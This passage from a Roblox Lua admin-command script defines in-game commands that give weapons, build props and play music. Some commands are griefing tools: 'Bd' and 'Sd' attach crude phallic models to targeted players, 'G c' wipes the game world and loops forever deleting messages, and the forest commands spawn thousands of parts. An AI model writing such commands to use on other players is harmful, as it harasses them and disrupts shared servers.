| 14056 | Command("Sdw", 7, "Gives a player Shoop da whoop", function(Msg, Speaker)
| |
| 14057 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14058 | if #PlrTab > 0 then | |
| 14059 | for _,v in pairs(PlrTab) do | |
| 14060 | ypcall(function() | |
| 14061 | NewLS(Shoop, v.Backpack) | |
| 14062 | Output("Gave "..v.Name.." shoop da whoop", Speaker, 5)
| |
| 14063 | end) | |
| 14064 | end | |
| 14065 | end | |
| 14066 | end) | |
| 14067 | Command("Sck", 7, "Gives a player Soul Crushing Karate", function(Msg, Speaker)
| |
| 14068 | if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then | |
| 14069 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14070 | if #PlrTab > 0 then | |
| 14071 | for _,v in pairs(PlrTab) do | |
| 14072 | ypcall(function() | |
| 14073 | NewLS(SoulCrushingKarate, v.Backpack) | |
| 14074 | Output("Gave "..v.Name.." Soul Karate", Speaker, 5)
| |
| 14075 | end) | |
| 14076 | end | |
| 14077 | end | |
| 14078 | else | |
| 14079 | Output("You are not allowed to use this weapon", Speaker, 5)
| |
| 14080 | return | |
| 14081 | end | |
| 14082 | end) | |
| 14083 | ||
| 14084 | Command("Kar", 4, "Gives a player Karate Skills", function(Msg, Speaker)
| |
| 14085 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14086 | if #PlrTab > 0 then | |
| 14087 | for _,v in pairs(PlrTab) do | |
| 14088 | ypcall(function() | |
| 14089 | NewLS(Karate, v.Backpack) | |
| 14090 | Output("Gave "..v.Name.." Karate skills", Speaker, 5)
| |
| 14091 | end) | |
| 14092 | end | |
| 14093 | end | |
| 14094 | end) | |
| 14095 | Command("Connect", 7, "Nil Connect", function(Msg, Speaker)
| |
| 14096 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14097 | if #PlrTab > 0 then | |
| 14098 | for _,v in pairs(PlrTab) do | |
| 14099 | ypcall(function() | |
| 14100 | NewLS(NilConnect, v.Backpack) | |
| 14101 | Output("Connected "..v.Name, Speaker, 5)
| |
| 14102 | end) | |
| 14103 | end | |
| 14104 | end | |
| 14105 | end) | |
| 14106 | Command("Music", 7, "Creates music from an ID", function(Msg, Speaker)
| |
| 14107 | ypcall(function() | |
| 14108 | game.Workspace["Sound"]:Remove() | |
| 14109 | end) | |
| 14110 | MU = Instance.new("Sound", game.Workspace)
| |
| 14111 | MU.SoundId = "http://www.roblox.com/asset/?id="..Msg | |
| 14112 | MU.Volume = 1 | |
| 14113 | MU.Looped = true | |
| 14114 | MU:Play() | |
| 14115 | Output("Launched Music ID :"..Msg, Speaker, 5)
| |
| 14116 | end) | |
| 14117 | ||
| 14118 | ||
| 14119 | Command("Podium", 2, "Gives a player a podium", function(Msg, Speaker)
| |
| 14120 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14121 | if #PlrTab > 0 then | |
| 14122 | for _,v in pairs(PlrTab) do | |
| 14123 | ypcall(function() | |
| 14124 | local MainColor = Color3.new(0,0,0) | |
| 14125 | local SeccondaryColor = Color3.new(0.69,0.13,0.13) | |
| 14126 | local Main = Instance.new("Model",workspace) Main.Name = "Podium"
| |
| 14127 | local MainCFrame = v.Character.Torso.CFrame | |
| 14128 | * CFrame.new(0,-4,0) | |
| 14129 | + v.Character.Torso.CFrame.lookVector*3 | |
| 14130 | local SeccondaryCFrame = v.Character.Torso.CFrame | |
| 14131 | * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 ) | |
| 14132 | + v.Character.Torso.CFrame.lookVector*3 | |
| 14133 | if CFrame == nil then return end | |
| 14134 | coroutine.resume(coroutine.create(function() | |
| 14135 | ||
| 14136 | for i=1,25 do | |
| 14137 | wait() | |
| 14138 | local Step = Instance.new("Part",Main)
| |
| 14139 | Step.FormFactor = "Custom" | |
| 14140 | Step.Name = "Step" | |
| 14141 | Step.Anchored = true | |
| 14142 | Step.Locked = true | |
| 14143 | Step.Reflectance = 0 | |
| 14144 | Step.TopSurface = "Smooth" | |
| 14145 | Step.BottomSurface = "Smooth" | |
| 14146 | Step.BrickColor = BrickColor.new(SeccondaryColor) | |
| 14147 | Step.Size = Vector3.new(6,1,3) | |
| 14148 | Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2)) | |
| 14149 | Instance.new("BlockMesh",Step)
| |
| 14150 | ||
| 14151 | local Carpet = Instance.new("Part",Main)
| |
| 14152 | Carpet.FormFactor = "Custom" | |
| 14153 | Carpet.Name = "Carpet" | |
| 14154 | Carpet.Anchored = true | |
| 14155 | Carpet.Locked = true | |
| 14156 | Carpet.Reflectance = 0 | |
| 14157 | Carpet.TopSurface = "Smooth" | |
| 14158 | Carpet.BottomSurface = "Smooth" | |
| 14159 | Carpet.BrickColor = BrickColor.new(MainColor) | |
| 14160 | Carpet.Size = Vector3.new(4,1,3.2) | |
| 14161 | Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2)) | |
| 14162 | Instance.new("BlockMesh",Carpet)
| |
| 14163 | end | |
| 14164 | local MainCirc = Instance.new("Part",Main)
| |
| 14165 | MainCirc.FormFactor = "Custom" | |
| 14166 | MainCirc.Name = "MainCirc" | |
| 14167 | MainCirc.Anchored = true | |
| 14168 | MainCirc.Locked = true | |
| 14169 | MainCirc.Reflectance = 0 | |
| 14170 | MainCirc.TopSurface = "Smooth" | |
| 14171 | MainCirc.BottomSurface = "Smooth" | |
| 14172 | MainCirc.BrickColor = BrickColor.new(SeccondaryColor) | |
| 14173 | MainCirc.Size = Vector3.new(20,1,20) | |
| 14174 | MainCirc.CFrame = SeccondaryCFrame | |
| 14175 | Instance.new("CylinderMesh",MainCirc)
| |
| 14176 | ||
| 14177 | local SeccondaryCirc = Instance.new("Part",Main)
| |
| 14178 | SeccondaryCirc.FormFactor = "Custom" | |
| 14179 | SeccondaryCirc.Name = "SeccondaryCirc" | |
| 14180 | SeccondaryCirc.Anchored = true | |
| 14181 | SeccondaryCirc.Locked = true | |
| 14182 | SeccondaryCirc.Reflectance = 0 | |
| 14183 | SeccondaryCirc.TopSurface = "Smooth" | |
| 14184 | SeccondaryCirc.BottomSurface = "Smooth" | |
| 14185 | SeccondaryCirc.BrickColor = BrickColor.new(MainColor) | |
| 14186 | SeccondaryCirc.Size = Vector3.new(18,1,18) | |
| 14187 | SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0) | |
| 14188 | Instance.new("CylinderMesh",SeccondaryCirc)
| |
| 14189 | for i=1,math.floor(360/6) do | |
| 14190 | local Spike = Instance.new("Part",Main)
| |
| 14191 | Spike.FormFactor = "Custom" | |
| 14192 | Spike.Name = "Spike" | |
| 14193 | Spike.Anchored = true | |
| 14194 | Spike.Locked = true | |
| 14195 | Spike.Reflectance = 0 | |
| 14196 | Spike.TopSurface = "Smooth" | |
| 14197 | Spike.BottomSurface = "Smooth" | |
| 14198 | Spike.BrickColor = BrickColor.new(MainColor) | |
| 14199 | Spike.Size = Vector3.new(1,7,1) | |
| 14200 | Spike.CFrame = SeccondaryCFrame | |
| 14201 | * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45)) | |
| 14202 | * CFrame.new(7,-7,0) | |
| 14203 | Torch = Instance.new("Part",Main)
| |
| 14204 | Torch.Reflectance = 1e+999 | |
| 14205 | Torch.FormFactor = "Custom" | |
| 14206 | Torch.Shape = "Ball" | |
| 14207 | Torch.Anchored = true | |
| 14208 | Torch.Locked = true | |
| 14209 | Torch.Size = Vector3.new(2,2,2) | |
| 14210 | Torch.CFrame = Spike.CFrame | |
| 14211 | * CFrame.new(0,3.5,0) | |
| 14212 | * CFrame.Angles(0,0,0) | |
| 14213 | Instance.new("Fire",Torch)
| |
| 14214 | end | |
| 14215 | end)) | |
| 14216 | end) | |
| 14217 | end | |
| 14218 | end | |
| 14219 | Output("Gave "..v.Name.." Podium", Speaker,nil)
| |
| 14220 | end) | |
| 14221 | Command("Fcam", 1, "Fixes a player's camera", function(Msg, Speaker)
| |
| 14222 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14223 | if #PlrTab > 0 then | |
| 14224 | for _,v in pairs(PlrTab) do | |
| 14225 | ypcall(function() | |
| 14226 | v.CameraMode = "Classic" | |
| 14227 | NewLS([[game.Workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid | |
| 14228 | game.Workspace.CurrentCamera.CameraType = "Custom" | |
| 14229 | ]], v.Backpack) | |
| 14230 | Output("Fixed "..v.Name.."'s Camera", Speaker,nil)
| |
| 14231 | end) | |
| 14232 | end | |
| 14233 | end | |
| 14234 | end) | |
| 14235 | Command("Bd", 3, "Gives a player a big stick", function(Msg, Speaker)
| |
| 14236 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14237 | if #PlrTab > 0 then | |
| 14238 | for _,v in pairs(PlrTab) do | |
| 14239 | ypcall(function() | |
| 14240 | person=v.Name | |
| 14241 | color = "Pastel brown" | |
| 14242 | pcall(function() game.Players[person].Character["Nice thing"]:Remove() end) | |
| 14243 | D = Instance.new("Model",workspace[person])
| |
| 14244 | D.Name = "Nice thing" | |
| 14245 | bg = Instance.new("BodyGyro",workspace[person].Torso)
| |
| 14246 | d = Instance.new("Part")
| |
| 14247 | d.TopSurface = 0 | |
| 14248 | d.BottomSurface = 0 | |
| 14249 | d.Name = "Main" | |
| 14250 | d.Parent = workspace[person]["Nice thing"] | |
| 14251 | d.formFactor = 3 | |
| 14252 | d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 ) | |
| 14253 | d.BrickColor = BrickColor.new(color) | |
| 14254 | d.Position = workspace[person].Head.Position | |
| 14255 | d.CanCollide = false | |
| 14256 | local cy = Instance.new("CylinderMesh")
| |
| 14257 | cy.Parent = d | |
| 14258 | w = Instance.new("Weld")
| |
| 14259 | w.Parent = workspace[person].Head | |
| 14260 | w.Part0 = d | |
| 14261 | w.Part1 = workspace[person].Head | |
| 14262 | w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0) | |
| 14263 | local c = Instance.new("Part")
| |
| 14264 | c.Name = "Mush" | |
| 14265 | c.BottomSurface = 0 | |
| 14266 | c.TopSurface = 0 | |
| 14267 | c.FormFactor = 3 | |
| 14268 | c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 ) | |
| 14269 | c.CFrame = CFrame.new(d.Position) | |
| 14270 | c.BrickColor = BrickColor.new("Pink")
| |
| 14271 | c.CanCollide = false | |
| 14272 | c.Parent = workspace[person]["Nice thing"] | |
| 14273 | local msm = Instance.new("SpecialMesh")
| |
| 14274 | msm.Parent = c | |
| 14275 | msm.MeshType = "Sphere" | |
| 14276 | local cw = Instance.new("Weld")
| |
| 14277 | cw.Parent = c | |
| 14278 | cw.Part0 = d | |
| 14279 | cw.Part1 = c | |
| 14280 | cw.C0 = CFrame.new(0,2.6 ,0) | |
| 14281 | local ball1 = Instance.new("Part")
| |
| 14282 | ball1.Parent = workspace[person]["Nice thing"] | |
| 14283 | ball1.Name = "Left Ball" | |
| 14284 | ball1.BottomSurface = 0 | |
| 14285 | ball1.TopSurface = 0 | |
| 14286 | ball1.CanCollide = false | |
| 14287 | ball1.formFactor = 3 | |
| 14288 | ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 ) | |
| 14289 | ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position) | |
| 14290 | ball1.BrickColor = BrickColor.new(color) | |
| 14291 | local bsm = Instance.new("SpecialMesh")
| |
| 14292 | bsm.Parent = ball1 | |
| 14293 | bsm.MeshType = "Sphere" | |
| 14294 | local b1w = Instance.new("Weld")
| |
| 14295 | b1w.Parent = ball1 | |
| 14296 | b1w.Part0 = workspace[person]["Left Leg"] | |
| 14297 | b1w.Part1 = ball1 | |
| 14298 | b1w.C0 = CFrame.new(0,0.5 ,-.5 ) | |
| 14299 | local ball2 = Instance.new("Part")
| |
| 14300 | ball2.Parent = workspace[person]["Nice thing"] | |
| 14301 | ball2.Name = "Right Ball" | |
| 14302 | ball2.BottomSurface = 0 | |
| 14303 | ball2.CanCollide = false | |
| 14304 | ball2.TopSurface = 0 | |
| 14305 | ball2.formFactor = 3 | |
| 14306 | ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 ) | |
| 14307 | ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position) | |
| 14308 | ball2.BrickColor = BrickColor.new(color) | |
| 14309 | local b2sm = Instance.new("SpecialMesh")
| |
| 14310 | b2sm.Parent = ball2 | |
| 14311 | b2sm.MeshType = "Sphere" | |
| 14312 | local b2w = Instance.new("Weld")
| |
| 14313 | b2w.Parent = ball2 | |
| 14314 | b2w.Part0 = workspace[person]["Right Leg"] | |
| 14315 | b2w.Part1 = ball2 | |
| 14316 | b2w.C0 = CFrame.new(0,0.5,-.5) | |
| 14317 | Output("Gave "..v.Name.." a big stick", Speaker,nil)
| |
| 14318 | end) | |
| 14319 | end | |
| 14320 | end | |
| 14321 | end) | |
| 14322 | Command("Tree", 3, "Trees a player", function(Msg, Speaker)
| |
| 14323 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14324 | if #PlrTab > 0 then | |
| 14325 | for _,v in pairs(PlrTab) do | |
| 14326 | ypcall(function() | |
| 14327 | if v.Character:findFirstChild("Torso") == nil then return end
| |
| 14328 | local treet = Instance.new("Part", workspace)
| |
| 14329 | treet.Size = Vector3.new(4, 20, 4) | |
| 14330 | treet.Anchored = true | |
| 14331 | treet.Locked = true | |
| 14332 | treet.BrickColor = BrickColor.new("Reddish brown")
| |
| 14333 | treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0) | |
| 14334 | local treetop = Instance.new("Part", workspace)
| |
| 14335 | treetop.BrickColor = BrickColor.new("Earth green")
| |
| 14336 | treetop.TopSurface = "Smooth" | |
| 14337 | treetop.BottomSurface = "Smooth" | |
| 14338 | treetop.Size = Vector3.new(13, 13, 13) | |
| 14339 | treetop.Anchored = true | |
| 14340 | treetop.Shape = "Ball" | |
| 14341 | treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0) | |
| 14342 | v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0) | |
| 14343 | coroutine.resume(coroutine.create(function() | |
| 14344 | for i = 1, 200 do | |
| 14345 | wait() | |
| 14346 | if treet ~= nil then | |
| 14347 | if treetop ~= nil then | |
| 14348 | treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0) | |
| 14349 | treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0) | |
| 14350 | end | |
| 14351 | end | |
| 14352 | end | |
| 14353 | end)) | |
| 14354 | Output("Treed "..v.Name, Speaker,nil)
| |
| 14355 | end) | |
| 14356 | end | |
| 14357 | end | |
| 14358 | end) | |
| 14359 | Command("Sd", 3, "Gives a player a small stick", function(Msg, Speaker)
| |
| 14360 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14361 | if #PlrTab > 0 then | |
| 14362 | for _,v in pairs(PlrTab) do | |
| 14363 | ypcall(function() | |
| 14364 | person=v.Name | |
| 14365 | color = "Pastel brown" | |
| 14366 | pcall(function() game.Players[person].Character["Nice thing"]:Remove() end) | |
| 14367 | D = Instance.new("Model",workspace[person])
| |
| 14368 | D.Name = "Nice thing" | |
| 14369 | bg = Instance.new("BodyGyro",workspace[person].Torso)
| |
| 14370 | d = Instance.new("Part")
| |
| 14371 | d.TopSurface = 0 | |
| 14372 | d.BottomSurface = 0 | |
| 14373 | d.Name = "Main" | |
| 14374 | d.Parent = workspace[person]["Nice thing"] | |
| 14375 | d.formFactor = 3 | |
| 14376 | d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 ) | |
| 14377 | d.BrickColor = BrickColor.new(color) | |
| 14378 | d.Position = workspace[person].Head.Position | |
| 14379 | d.CanCollide = false | |
| 14380 | local cy = Instance.new("CylinderMesh")
| |
| 14381 | cy.Parent = d | |
| 14382 | w = Instance.new("Weld")
| |
| 14383 | w.Parent = workspace[person].Head | |
| 14384 | w.Part0 = d | |
| 14385 | w.Part1 = workspace[person].Head | |
| 14386 | w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0) | |
| 14387 | local c = Instance.new("Part")
| |
| 14388 | c.Name = "Mush" | |
| 14389 | c.BottomSurface = 0 | |
| 14390 | c.TopSurface = 0 | |
| 14391 | c.FormFactor = 3 | |
| 14392 | c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 ) | |
| 14393 | c.CFrame = CFrame.new(d.Position) | |
| 14394 | c.BrickColor = BrickColor.new("Pink")
| |
| 14395 | c.CanCollide = false | |
| 14396 | c.Parent = workspace[person]["Nice thing"] | |
| 14397 | local msm = Instance.new("SpecialMesh")
| |
| 14398 | msm.Parent = c | |
| 14399 | msm.MeshType = "Sphere" | |
| 14400 | local cw = Instance.new("Weld")
| |
| 14401 | cw.Parent = c | |
| 14402 | cw.Part0 = d | |
| 14403 | cw.Part1 = c | |
| 14404 | cw.C0 = CFrame.new(0,1.3 ,0) | |
| 14405 | local ball1 = Instance.new("Part")
| |
| 14406 | ball1.Parent = workspace[person]["Nice thing"] | |
| 14407 | ball1.Name = "Left Ball" | |
| 14408 | ball1.BottomSurface = 0 | |
| 14409 | ball1.TopSurface = 0 | |
| 14410 | ball1.CanCollide = false | |
| 14411 | ball1.formFactor = 3 | |
| 14412 | ball1.Size = Vector3.new(1 ,1 ,1 ) | |
| 14413 | ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2) | |
| 14414 | ball1.BrickColor = BrickColor.new(color) | |
| 14415 | local bsm = Instance.new("SpecialMesh")
| |
| 14416 | bsm.Parent = ball1 | |
| 14417 | bsm.MeshType = "Sphere" | |
| 14418 | local b1w = Instance.new("Weld")
| |
| 14419 | b1w.Parent = ball1 | |
| 14420 | b1w.Part0 = workspace[person]["Left Leg"] | |
| 14421 | b1w.Part1 = ball1 | |
| 14422 | b1w.C0 = CFrame.new(0,0.5 ,-.5 ) | |
| 14423 | local ball2 = Instance.new("Part")
| |
| 14424 | ball2.Parent = workspace[person]["Nice thing"] | |
| 14425 | ball2.Name = "Right Ball" | |
| 14426 | ball2.BottomSurface = 0 | |
| 14427 | ball2.CanCollide = false | |
| 14428 | ball2.TopSurface = 0 | |
| 14429 | ball2.formFactor = 3 | |
| 14430 | ball2.Size = Vector3.new(1 ,1 ,1 ) | |
| 14431 | ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2) | |
| 14432 | ball2.BrickColor = BrickColor.new(color) | |
| 14433 | local b2sm = Instance.new("SpecialMesh")
| |
| 14434 | b2sm.Parent = ball2 | |
| 14435 | b2sm.MeshType = "Sphere" | |
| 14436 | local b2w = Instance.new("Weld")
| |
| 14437 | b2w.Parent = ball2 | |
| 14438 | b2w.Part0 = workspace[person]["Right Leg"] | |
| 14439 | b2w.Part1 = ball2 | |
| 14440 | b2w.C0 = CFrame.new(0,0.5,-.5) | |
| 14441 | Output("Gave "..v.Name.." a small stick", Speaker,nil)
| |
| 14442 | end) | |
| 14443 | end | |
| 14444 | end | |
| 14445 | end) | |
| 14446 | Command("Forest", 5, "Creates a forest", function(Msg, Speaker)
| |
| 14447 | local tmodel = Instance.new("Model", workspace)
| |
| 14448 | for i = 1, 3000 do | |
| 14449 | local treet = Instance.new("Part", tmodel)
| |
| 14450 | treet.Size = Vector3.new(4, 20, 4) | |
| 14451 | treet.Anchored = true | |
| 14452 | treet.Locked = true | |
| 14453 | treet.BrickColor = BrickColor.new("Reddish brown")
| |
| 14454 | treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500)) | |
| 14455 | local treetop = Instance.new("Part", tmodel)
| |
| 14456 | treetop.BrickColor = BrickColor.new("Earth green")
| |
| 14457 | treetop.TopSurface = "Smooth" | |
| 14458 | treetop.BottomSurface = "Smooth" | |
| 14459 | treetop.Size = Vector3.new(13, 13, 13) | |
| 14460 | treetop.Anchored = true | |
| 14461 | treetop.Shape = "Ball" | |
| 14462 | treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0) | |
| 14463 | end | |
| 14464 | Output("Created a forest", Speaker,nil)
| |
| 14465 | end) | |
| 14466 | ||
| 14467 | ||
| 14468 | Command("G", 1, "Get something? idk", function(Msg, Speaker)
| |
| 14469 | if Msg == "r" then | |
| 14470 | Speaker:LoadCharacter() | |
| 14471 | elseif Msg == "rj" then | |
| 14472 | NewLS([[game:service'TeleportService':Teleport(game.PlaceId)]],Speaker.Character) | |
| 14473 | elseif Msg == "c" then | |
| 14474 | NewS([[ | |
| 14475 | for _,v in pairs(game.Workspace:GetChildren()) do | |
| 14476 | if v.Name ~= "Terrain" then | |
| 14477 | v:Destroy() | |
| 14478 | end | |
| 14479 | end | |
| 14480 | ]],game.Workspace) | |
| 14481 | ||
| 14482 | a = Instance.new("Part")
| |
| 14483 | a.Parent = game.Workspace | |
| 14484 | a.Name = "Base" | |
| 14485 | a.Position = Vector3.new(0, 0.6, 0) | |
| 14486 | a.Size = Vector3.new(1002, 0, 1002) | |
| 14487 | a.Material = "Grass" | |
| 14488 | a.Anchored = true | |
| 14489 | a.BrickColor = BrickColor.new("Earth green")
| |
| 14490 | NewS([[ | |
| 14491 | for _,v in pairs(game.Players:GetChildren()) do | |
| 14492 | v:LoadCharacter() | |
| 14493 | end | |
| 14494 | ]], game.Workspace) | |
| 14495 | ||
| 14496 | ||
| 14497 | ||
| 14498 | end | |
| 14499 | game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100) | |
| 14500 | game.Lighting.ColorShift_Top = Color3.new(0, 0, 0) | |
| 14501 | game.Lighting.Ambient = Color3.new(1, 1, 1) | |
| 14502 | game.Lighting.Brightness = 1 | |
| 14503 | game.Lighting.TimeOfDay = "11:00:00" | |
| 14504 | game.Lighting.FogEnd = 99999999 | |
| 14505 | game.Workspace.Base.Transparency = 0 | |
| 14506 | game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
| |
| 14507 | game.Workspace.Base.Locked = true | |
| 14508 | game.Workspace.Base.Anchored = true | |
| 14509 | t = game.Teams:GetChildren() | |
| 14510 | for i = 1, #t do | |
| 14511 | if t[i]:IsA("Team") then
| |
| 14512 | t[i]: Destroy() | |
| 14513 | end | |
| 14514 | end | |
| 14515 | l = game.Lighting:GetChildren() | |
| 14516 | for i = 1, #l do | |
| 14517 | if l[i]:IsA("Sky") then
| |
| 14518 | l[i]: Destroy() | |
| 14519 | end | |
| 14520 | end | |
| 14521 | g = game.Workspace:GetChildren() | |
| 14522 | for i = 1, #g do | |
| 14523 | if g[i]:IsA("Part") then
| |
| 14524 | g[i]: Destroy() | |
| 14525 | end | |
| 14526 | end | |
| 14527 | for i = 1, #g do | |
| 14528 | if g[i]:IsA("Script") then
| |
| 14529 | g[i]: Destroy() | |
| 14530 | end | |
| 14531 | end | |
| 14532 | for i = 1, #g do | |
| 14533 | if g[i]:IsA("StringValue") then
| |
| 14534 | g[i]: Destroy() | |
| 14535 | end | |
| 14536 | end | |
| 14537 | for i = 1, #g do | |
| 14538 | if g[i]:IsA("IntValue") then
| |
| 14539 | g[i]: Destroy() | |
| 14540 | end | |
| 14541 | end | |
| 14542 | for i = 1, #g do | |
| 14543 | if g[i]:IsA("BoolValue") then
| |
| 14544 | g[i]: Destroy() | |
| 14545 | end | |
| 14546 | end | |
| 14547 | for i = 1, #g do | |
| 14548 | if g[i]:IsA("NumberValue") then
| |
| 14549 | g[i]: Destroy() | |
| 14550 | end | |
| 14551 | end | |
| 14552 | for i = 1, #g do | |
| 14553 | if g[i]:IsA("ObjectValue") then
| |
| 14554 | g[i]: Destroy() | |
| 14555 | end | |
| 14556 | end | |
| 14557 | for i = 1, #g do | |
| 14558 | if g[i]:IsA("RayValue") then
| |
| 14559 | g[i]: Destroy() | |
| 14560 | end | |
| 14561 | end | |
| 14562 | for i = 1, #g do | |
| 14563 | if g[i]:IsA("Sound") then
| |
| 14564 | g[i]: Destroy() | |
| 14565 | end | |
| 14566 | end | |
| 14567 | for i = 1, #g do | |
| 14568 | if g[i]:IsA("Accoutrement") then
| |
| 14569 | g[i]: Destroy() | |
| 14570 | end | |
| 14571 | end | |
| 14572 | for i = 1, #g do | |
| 14573 | if g[i]:IsA("BrickColorValue") then
| |
| 14574 | g[i]: Destroy() | |
| 14575 | end | |
| 14576 | end | |
| 14577 | for i = 1, #g do | |
| 14578 | if g[i]:IsA("Motor") then
| |
| 14579 | g[i]: Destroy() | |
| 14580 | end | |
| 14581 | end | |
| 14582 | for i = 1, #g do | |
| 14583 | if g[i]:IsA("MotorFeature") then
| |
| 14584 | g[i]: Destroy() | |
| 14585 | end | |
| 14586 | end | |
| 14587 | for i = 1, #g do | |
| 14588 | if g[i]:IsA("Color3Value") then
| |
| 14589 | g[i]: Destroy() | |
| 14590 | end | |
| 14591 | end | |
| 14592 | for i = 1, #g do | |
| 14593 | if g[i]:IsA("BindableEvent") then
| |
| 14594 | g[i]: Destroy() | |
| 14595 | end | |
| 14596 | end | |
| 14597 | for i = 1, #g do | |
| 14598 | if g[i]:IsA("BindableFunction") then
| |
| 14599 | g[i]: Destroy() | |
| 14600 | end | |
| 14601 | end | |
| 14602 | for i = 1, #g do | |
| 14603 | if g[i]:IsA("LocalScript") then
| |
| 14604 | g[i]: Destroy() | |
| 14605 | end | |
| 14606 | end | |
| 14607 | for i = 1, #g do | |
| 14608 | if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
| |
| 14609 | g[i]: Remove() | |
| 14610 | end | |
| 14611 | end | |
| 14612 | for i = 1, #g do | |
| 14613 | if g[i]:IsA("Hint") then
| |
| 14614 | g[i]: Destroy() | |
| 14615 | end | |
| 14616 | end | |
| 14617 | for i = 1, #g do | |
| 14618 | if g[i]:IsA("Truss") then
| |
| 14619 | g[i]: Destroy() | |
| 14620 | end | |
| 14621 | end | |
| 14622 | for i = 1, #g do | |
| 14623 | if g[i]:IsA("Tool") then
| |
| 14624 | g[i]: Destroy() | |
| 14625 | end | |
| 14626 | end | |
| 14627 | for i = 1, #g do | |
| 14628 | if g[i]:IsA("HopperBin") then
| |
| 14629 | g[i]: Destroy() | |
| 14630 | end | |
| 14631 | end | |
| 14632 | for i = 1, #g do | |
| 14633 | if g[i]:IsA("Fire") then
| |
| 14634 | g[i]: Destroy() | |
| 14635 | end | |
| 14636 | end | |
| 14637 | for i = 1, #g do | |
| 14638 | if g[i]:IsA("Explosion") then
| |
| 14639 | g[i]: Destroy() | |
| 14640 | end | |
| 14641 | end | |
| 14642 | for i = 1, #g do | |
| 14643 | if g[i]:IsA("Hat") then
| |
| 14644 | g[i]: Destroy() | |
| 14645 | end | |
| 14646 | end | |
| 14647 | p = Instance.new("Part")
| |
| 14648 | p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true, | |
| 14649 | BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
| |
| 14650 | while true do wait() | |
| 14651 | for i = 1, #g do | |
| 14652 | if g[i]:IsA("Message") then
| |
| 14653 | g[i]: Destroy() | |
| 14654 | end | |
| 14655 | end | |
| 14656 | for i = 1, #g do | |
| 14657 | if g[i]:IsA("Hint") then
| |
| 14658 | g[i]: Destroy() | |
| 14659 | end | |
| 14660 | end | |
| 14661 | end | |
| 14662 | ||
| 14663 | ||
| 14664 | end) | |
| 14665 | ||
| 14666 | Command("Jungle", 5, "Creates a jungle", function(Msg, Speaker)
| |
| 14667 | local tmodel = Instance.new("Model", workspace)
| |
| 14668 | for i = 1, 5000 do | |
| 14669 | local treet = Instance.new("Part", tmodel)
| |
| 14670 | treet.Size = Vector3.new(4, 20, 4) | |
| 14671 | treet.Anchored = true | |
| 14672 | treet.Locked = true | |
| 14673 | treet.BrickColor = BrickColor.new("Reddish brown")
| |
| 14674 | treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500)) | |
| 14675 | local treetop = Instance.new("Part", tmodel)
| |
| 14676 | treetop.BrickColor = BrickColor.new("Earth green")
| |
| 14677 | treetop.TopSurface = "Smooth" | |
| 14678 | treetop.BottomSurface = "Smooth" | |
| 14679 | treetop.Size = Vector3.new(13, 13, 13) | |
| 14680 | treetop.Anchored = true | |
| 14681 | treetop.Shape = "Ball" | |
| 14682 | treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0) | |
| 14683 | end | |
| 14684 | Output("Created a jungle", Speaker,nil)
| |
| 14685 | end) | |
| 14686 | Command("Menu", 3, "Brings Up Admin Menu", function(Msg, Speaker)
| |
| 14687 | Dismiss(Speaker) | |
| 14688 | Menu(Speaker) | |
| 14689 | end) | |
| 14690 | Command("FA", 1, "Shows a list of creator's favorite animes", function(Msg, Speaker)
| |
| 14691 | Dismiss(Speaker) | |
| 14692 | Output("Kanokon", Speaker, nil, nil, Database.Colors.Orange, "rbxassetid://162502378")
| |
| 14693 | Output("Bleach", Speaker, nil, nil, Database.Colors.PinkRed, "rbxassetid://150668617")
| |
| 14694 | Output("Sword Art Online", Speaker, nil, nil, Database.Colors.Black, "rbxassetid://129964814")
| |
| 14695 | Output("Claymore", Speaker, nil, nil, Database.Colors.Grey, "rbxassetid://50802941")
| |
| 14696 | Output("Full Metal Alchemy", Speaker, nil, nil, Database.AdvancedColors.CustomPurple, "rbxassetid://100859526")
| |
| 14697 | Output("Attack on Titan", Speaker, nil, nil, Database.Colors.Blue, "rbxassetid://122579277")
| |
| 14698 | end) | |
| 14699 | ||
